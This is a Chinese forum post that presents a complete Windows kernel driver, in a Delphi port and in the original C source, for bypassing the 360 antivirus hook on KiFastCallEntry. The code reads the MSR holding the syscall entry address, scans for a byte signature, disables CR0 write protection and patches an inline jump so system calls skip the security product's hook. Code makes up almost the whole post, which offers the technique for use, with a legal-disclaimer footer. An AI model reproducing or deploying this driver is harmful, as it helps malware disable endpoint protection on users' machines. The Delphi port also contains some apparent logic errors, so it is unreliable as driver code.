HanDs
管理员

[Delphi文章] 绕过360的KiFastCallEntry钩子 



原版C代码来自Tesla.Angela

 

unit unhook360;

interface

uses
  nt_status, ntoskrnl, native, winioctl, fcall, macros;

type
  THEAD = array[0..4] of byte;
  THEAD1 = array[0..5] of byte;

const
  NtKernel = 'ntoskrnl.exe';
  NtHal = 'hal.dll';
  DeviceName = '\Device\unhook250'; ///设备名
  DosDeviceName = '\??\unhook250'; ///符号链接名
  JmpCode: THEAD = ($E9, $00, $00, $00, $00);
  OrgCode: THEAD = ($8B, $3F, $8B, $1C, $87);
  PushRetCode: THEAD1 = ($68, $00, $00, $00, $00, $C3);

var
  f_oldirql: KIRQL;
  f_spinlock: KSPIN_LOCK;
  uKiFastCallEntryAddr: ULONG;
  HookAddr: ULONG;
  MyJmpRet: ULONG;
  PushRetMem: ULONG;
  g_usDeviceName, g_usSymbolicLinkName: UNICODE_STRING;

function _DriverEntry(pDriverObject: PDRIVER_OBJECT; pusRegistryPath: PUNICODE_STRING): NTSTATUS; stdcall;
function KeRaiseIrqlToDpcLevel(): KIRQL; register; external NtHal name '_KeRaiseIrqlToDpcLevel';
procedure KfLowerIrql(NewIrql: KIRQL); register; external NtHal name '_KfLowerIrql';
procedure KfReleaseSpinLock(SpinLock: PKSPIN_LOCK; NewIrql: KIRQL); register; external NtHal name '_KfReleaseSpinLock';
function KfAcquireSpinLock(SpinLock: PKSPIN_LOCK): KIRQL; register; external NtHal name '_KfAcquireSpinLock';


implementation

procedure FakeKiFastCallEntry; stdcall;
begin
  asm
      mov edi,dword ptr [edi]
      mov ebx,dword ptr [edi+eax*4]
      sub esp,ecx
      shr ecx,2
      jmp [MyJmpRet];
  end;
end;

function LoadKiHooker(): ULONG;
var
  oldIrql: KIRQL;
  status: NTSTATUS;
  uCr0cpu: ULONG;
begin
  asm
  pushfd
  pushad
  mov ecx,$176
  rdmsr
  mov uKiFastCallEntryAddr,eax //获取KiFastCallEntry地址
  xor ecx,ecx
@@Label1:
  cmp ecx,$100
  je @@Label3
  mov edx,DWORD ptr [eax]
  cmp edx,$1C8B3F8B //搜索特征码,获取要Hook的位置
  je @@Label2
  inc eax
  inc ecx
  jmp @@Label1
@@Label2:
  mov HookAddr,eax
@@Label3:
  popad
  popfd
  end;
  if (HookAddr = 0) then result := status;
  DbgPrint('HookAddr is:%x', HookAddr);
  PushRetMem := ULONG(ExAllocatePoolWithTag(NonPagedPool, 6, $544D454D));
  DbgPrint('PushRetMem is:%x', PushRetMem);
  if (PVOID(PushRetMem) = nil) then result := status;

  PULONG(ulong(@JmpCode[1]))^ := PushRetMem - (HookAddr + 5);
  PULONG(ulong(@PushRetCode[1]))^ := DWORD(@FakeKiFastCallEntry);
  DbgPrint('FakeKiFastCallEntry is:%x', DWORD(@FakeKiFastCallEntry));
  MyJmpRet := HookAddr + 10;
  KeInitializeSpinLock(@f_spinlock);
  f_oldirql := KfAcquireSpinLock(@f_spinlock);
  oldIrql := KeRaiseIrqlToDpcLevel();
  asm
    cli
    push  eax
    mov   eax, cr0
    mov   [uCr0cpu], eax
    and   eax, not 000010000h
    mov   cr0, eax
    pop   eax
  end;
  memcpy(pointer(PushRetMem), pointer(@PushRetCode), 6);
  DbgPrint('JmpCode is:%x', DWORD(@JmpCode));
  memcpy(pointer(HookAddr), pointer(@JmpCode), 5);
  asm
    push  eax
    mov   eax, [uCr0cpu]
    mov   cr0, eax
    pop   eax
    sti
  end;
  KfLowerIrql(oldIrql);
  KfReleaseSpinLock(@f_spinlock, f_oldirql);
end;

function UnloadKiHooker(): ULONG;
var
  oldIrql: KIRQL;
  status: NTSTATUS;
  uCr0cpu: ULONG;
begin
  if (HookAddr <> 0) then
  begin
    KeInitializeSpinLock(@f_spinlock);
    f_oldirql := KfAcquireSpinLock(@f_spinlock);
    oldIrql := KeRaiseIrqlToDpcLevel();
    asm
    cli
    push  eax
    mov   eax, cr0
    mov   [uCr0cpu], eax
    and   eax, not 000010000h
    mov   cr0, eax
    pop   eax
    end;
    RtlCopyMemory(pointer(HookAddr), pointer(@OrgCode), 5);
    asm
    push  eax
    mov   eax, [uCr0cpu]
    mov   cr0, eax
    pop   eax
    sti
    end;
    KfLowerIrql(oldIrql);
    KfReleaseSpinLock(@f_spinlock, f_oldirql);
    ExFreePool(PVOID(PushRetMem));
  end;
end;

function DispatchCreateClose(p_DeviceObject: PDEVICE_OBJECT; p_Irp: PIRP): NTSTATUS; stdcall; ///对打开或关闭请求的响应 ,这里就是简单的返回一个成功
begin
  p_Irp^.IoStatus.Status := STATUS_SUCCESS; ///设置状态为STATUS_SUCCESS 即成功
  p_Irp^.IoStatus.Information := 0;
  IofCompleteRequest(p_Irp, IO_NO_INCREMENT); ///调用IoCompleteRequest完成IRP
  Result := STATUS_SUCCESS;
end;

procedure DriverUnload(DriverObject: PDriverObject); stdcall;
begin
  DbgPrint('DriverUnload(DriverObject:0x%.8X)', DriverObject);
  DbgPrint('DriverUnload(-)');
  UnloadKiHooker();
  IoDeleteSymbolicLink(@g_usSymbolicLinkName);
  IoDeleteDevice(DriverObject^.DeviceObject);
end;

function _DriverEntry(pDriverObject: PDRIVER_OBJECT; pusRegistryPath: PUNICODE_STRING): NTSTATUS;
var
  oldIrql: KIRQL;
  status: NTSTATUS;
  DeviceObject: TDeviceObject;
begin
  status := STATUS_DEVICE_CONFIGURATION_ERROR;
  RtlInitUnicodeString(g_usDeviceName, DeviceName);
  RtlInitUnicodeString(g_usSymbolicLinkName, DosDeviceName);
  if (IoCreateDevice(pDriverObject, 0, @g_usDeviceName,
    FILE_DEVICE_UNKNOWN, 0, FALSE,
    DeviceObject) = STATUS_SUCCESS) then
  begin
    DbgPrint('Create Device Success'); ///输出调试字符串
    if (IoCreateSymbolicLink(@g_usSymbolicLinkName, @g_usDeviceName) = STATUS_SUCCESS) then
    begin
      DbgPrint('Create SymbolicLink Success'); ///输出调试字符串
      pDriverObject^.MajorFunction[IRP_MJ_CREATE] := @DispatchCreateClose; ///这里把IRP_MJ_CREATE IRP_MJ_CLOSE设置到一个函数上
      pDriverObject^.MajorFunction[IRP_MJ_CLOSE] := @DispatchCreateClose;
      pDriverObject^.DriverUnload := @DriverUnload; ///当驱动动态卸载时执行DriverUnload
      status := STATUS_SUCCESS; ///返回STATUS_SUCCESS;
    end else ///如果创建符号链接不成功
    begin
      DbgPrint('Create SymbolicLink Failed'); ///输出调试字符串
      IoDeleteDevice(@DeviceObject); ///删除设备
    end;
  end;
  LoadKiHooker();
  Result := status;
end;

end.

 

以下是原版C代码:

 

//驱动开发模板
//作者:Tesla.Angela(GDUT.HWL)

#include <ntddk.h>
#include <windef.h>
#include <stdlib.h>
#include <ntimage.h>

#define dprintf            if (DBG) DbgPrint
#define MEM_TAG 'TMEM'
#define   DEVICE_NAME         L"\\Device\\hookkifc"
#define LINK_NAME         L"\\DosDevices\\hookkifc"
#define LINK_GLOBAL_NAME   L"\\DosDevices\\Global\\hookkifc"
#define IOCTL_ULR3IN    CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS) //In LONG
#define IOCTL_NULLIN    CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS) //In LONG

BYTE JmpCode[5]={0xE9,0x00,0x00,0x00,0x00};
BYTE OrgCode[5]={0x8B,0x3F,0x8B,0x1C,0x87};
BYTE PushRetCode[6]={0x68,0x00,0x00,0x00,0x00,0xc3};
KIRQL f_oldirql;
KSPIN_LOCK f_spinlock;
ULONG uKiFastCallEntryAddr=0;
ULONG HookAddr=0;
ULONG MyJmpRet=0;
ULONG PushRetMem=0;


__declspec(naked)void FakeKiFastCallEntry()
{
   _asm
   {
      mov edi,dword ptr [edi]
      mov ebx,dword ptr [edi+eax*4]
      sub esp,ecx
      shr ecx,2
      jmp [MyJmpRet];
   }
}

NTSTATUS LoadKiHooker()
{
       
   NTSTATUS       status = STATUS_SUCCESS;
   KIRQL          oldIrql;
        DbgPrint("LoadKiHooker");
   //系统调用管理器的地址保存在MSR寄存器里面,标识ID为0x176是SYSENTER_EIP_MSR寄存器,存放着KiFastCallEntry地址!所以在这里用rdmsr读取KiFastCallEntry地址;
   __asm
   {
      pushfd
      pushad
      mov ecx,0x176
      rdmsr
      mov uKiFastCallEntryAddr,eax //获取KiFastCallEntry地址
      xor ecx,ecx
Label1:
      cmp ecx,0x100
      je Label3
      mov edx,DWORD ptr [eax]
      cmp edx,0x1C8B3F8B //搜索特征码,获取要Hook的位置
      je Label2
      inc eax
      inc ecx
      jmp Label1
Label2:
      mov HookAddr,eax
Label3:
      popad
      popfd
   }
   if (HookAddr==0)
   {
      return status;
   }
    //申请分配二级跳转内存
   PushRetMem=(ULONG)ExAllocatePoolWithTag(NonPagedPool,6,MEM_TAG);
   if ((PVOID)PushRetMem==NULL)
   {
      return status;
   }
   DbgPrint("PushRetMem=0x%08X",PushRetMem);
   //一级跳转地址
   *(ULONG*)&JmpCode[1]=(ULONG)(PushRetMem)-(HookAddr+5);
   //二级跳转地址
   *(ULONG*)&PushRetCode[1]=(ULONG)FakeKiFastCallEntry;
   //HOOK返回地址
   MyJmpRet=HookAddr+10;
   //申请并使用自旋锁
   KeInitializeSpinLock(&f_spinlock);
   KeAcquireSpinLock(&f_spinlock,&f_oldirql);
   //提升中断请求级
   oldIrql = KeRaiseIrqlToDpcLevel();
   //关闭中断
   _asm
   {
      CLI                
      MOV EAX, CR0
      AND EAX, NOT 10000H
      MOV CR0, EAX     
   }
   //进行HOOK操作
   RtlCopyMemory((PVOID)PushRetMem,PushRetCode,6);
   RtlCopyMemory((PVOID)HookAddr,JmpCode,5);
   //开启中断
   _asm
   {
      MOV EAX, CR0      
      OR  EAX, 10000H          
      MOV CR0, EAX             
      STI                  
   }
   //恢复先前中断请求级
   KeLowerIrql(oldIrql);
   //释放自旋锁
   KeReleaseSpinLock(&f_spinlock, f_oldirql);
   DbgPrint("KiFastCallEntry=0x%08X",uKiFastCallEntryAddr);
   DbgPrint("HookAddr=0x%08X",HookAddr);
   return status;
}

VOID UnloadKiHooker()
{
        DbgPrint("UnloadKiHooker");
   if (HookAddr!=0)
   {
      KIRQL oldIrql;
      //申请并使用自旋锁
      KeInitializeSpinLock(&f_spinlock);
      KeAcquireSpinLock(&f_spinlock,&f_oldirql);
      //提升中断请求级
      oldIrql = KeRaiseIrqlToDpcLevel();
      //关闭中断
      _asm
      {
         CLI              
         MOV EAX, CR0  
         AND EAX, NOT 10000H
         MOV CR0, EAX     
      }
      //进行还原HOOK操作
      RtlCopyMemory((PVOID)HookAddr,OrgCode,5);
      _asm
      {
         MOV EAX, CR0      
         OR  EAX, 10000H           
         MOV CR0, EAX             
         STI                 
      }
      //恢复先前中断请求级
      KeLowerIrql(oldIrql);
      //释放自旋锁
      KeReleaseSpinLock(&f_spinlock, f_oldirql);
      //释放内存
      ExFreePool((PVOID)PushRetMem);
   }
}

VOID DriverUnload(PDRIVER_OBJECT pDriverObj)
{  
   UNICODE_STRING strLink;
   //unhook//
   UnloadKiHooker();
   //unhook//
   RtlInitUnicodeString(&strLink, LINK_NAME);
   IoDeleteSymbolicLink(&strLink);
   IoDeleteDevice(pDriverObj->DeviceObject);
}

NTSTATUS DispatchCreate(PDEVICE_OBJECT pDevObj, PIRP pIrp)
{
   pIrp->IoStatus.Status = STATUS_SUCCESS;
   pIrp->IoStatus.Information = 0;
   IoCompleteRequest(pIrp, IO_NO_INCREMENT);
   return STATUS_SUCCESS;
}

NTSTATUS DispatchClose(PDEVICE_OBJECT pDevObj, PIRP pIrp)
{
   pIrp->IoStatus.Status = STATUS_SUCCESS;
   pIrp->IoStatus.Information = 0;
   IoCompleteRequest(pIrp, IO_NO_INCREMENT);
   return STATUS_SUCCESS;
}

NTSTATUS DispatchIoctl(PDEVICE_OBJECT pDevObj, PIRP pIrp)
{
   NTSTATUS status = STATUS_INVALID_DEVICE_REQUEST,st2;
   PIO_STACK_LOCATION pIrpStack;
   ULONG uIoControlCode;
   PVOID pIoBuffer;
   ULONG uInSize;
   ULONG uOutSize;
   //
   pIrpStack = IoGetCurrentIrpStackLocation(pIrp);
   uIoControlCode = pIrpStack->Parameters.DeviceIoControl.IoControlCode;
   pIoBuffer = pIrp->AssociatedIrp.SystemBuffer;
   uInSize = pIrpStack->Parameters.DeviceIoControl.InputBufferLength;
   uOutSize = pIrpStack->Parameters.DeviceIoControl.OutputBufferLength;
   //
   switch(uIoControlCode)
   {
      /*case IOCTL_ULR3IN:
      {  
         memcpy(&ppid,pIoBuffer,sizeof(ppid));
         DbgPrint("LONG From R3: %ld",ppid);
         st2=PsLookupProcessByProcessId((HANDLE)ppid,&ppep);
         if (NT_SUCCESS(st2))
            LoadKiHooker();
         status = STATUS_SUCCESS;
         break;
      }
      case IOCTL_NULLIN:
      {
         UnloadKiHooker();
         status = STATUS_SUCCESS;
         break;
      }*/
   }
   if(status == STATUS_SUCCESS)
      pIrp->IoStatus.Information = uOutSize;
   else
      pIrp->IoStatus.Information = 0;  
   pIrp->IoStatus.Status = status;
   IoCompleteRequest(pIrp, IO_NO_INCREMENT);
   return status;
}

NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObj, PUNICODE_STRING pRegistryString)
{
   NTSTATUS status = STATUS_SUCCESS;
   UNICODE_STRING ustrLinkName;
   UNICODE_STRING ustrDevName; 
   PDEVICE_OBJECT pDevObj;
   pDriverObj->MajorFunction[IRP_MJ_CREATE] = DispatchCreate;
   pDriverObj->MajorFunction[IRP_MJ_CLOSE] = DispatchClose;
   pDriverObj->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DispatchIoctl;
   pDriverObj->DriverUnload = DriverUnload;
   RtlInitUnicodeString(&ustrDevName, DEVICE_NAME);
   status = IoCreateDevice(pDriverObj, 0, &ustrDevName, FILE_DEVICE_UNKNOWN, 0, FALSE, &pDevObj);
   if(!NT_SUCCESS(status))   return status;
   if(IoIsWdmVersionAvailable(1, 0x10))
      RtlInitUnicodeString(&ustrLinkName, LINK_GLOBAL_NAME);
   else
      RtlInitUnicodeString(&ustrLinkName, LINK_NAME);
   status = IoCreateSymbolicLink(&ustrLinkName, &ustrDevName);    
   if(!NT_SUCCESS(status))
   {
      IoDeleteDevice(pDevObj);
      return status;
   }
   //hook//
   LoadKiHooker();
   //hook//
   return STATUS_SUCCESS;

 


学习中请遵守法律法规,本网站内容均来自于互联网,本网站不负担法律责任
绕过 3 60
#1楼
发帖时间:2016-7-9   |   查看数:0   |   回复数:0
游客组
快速回复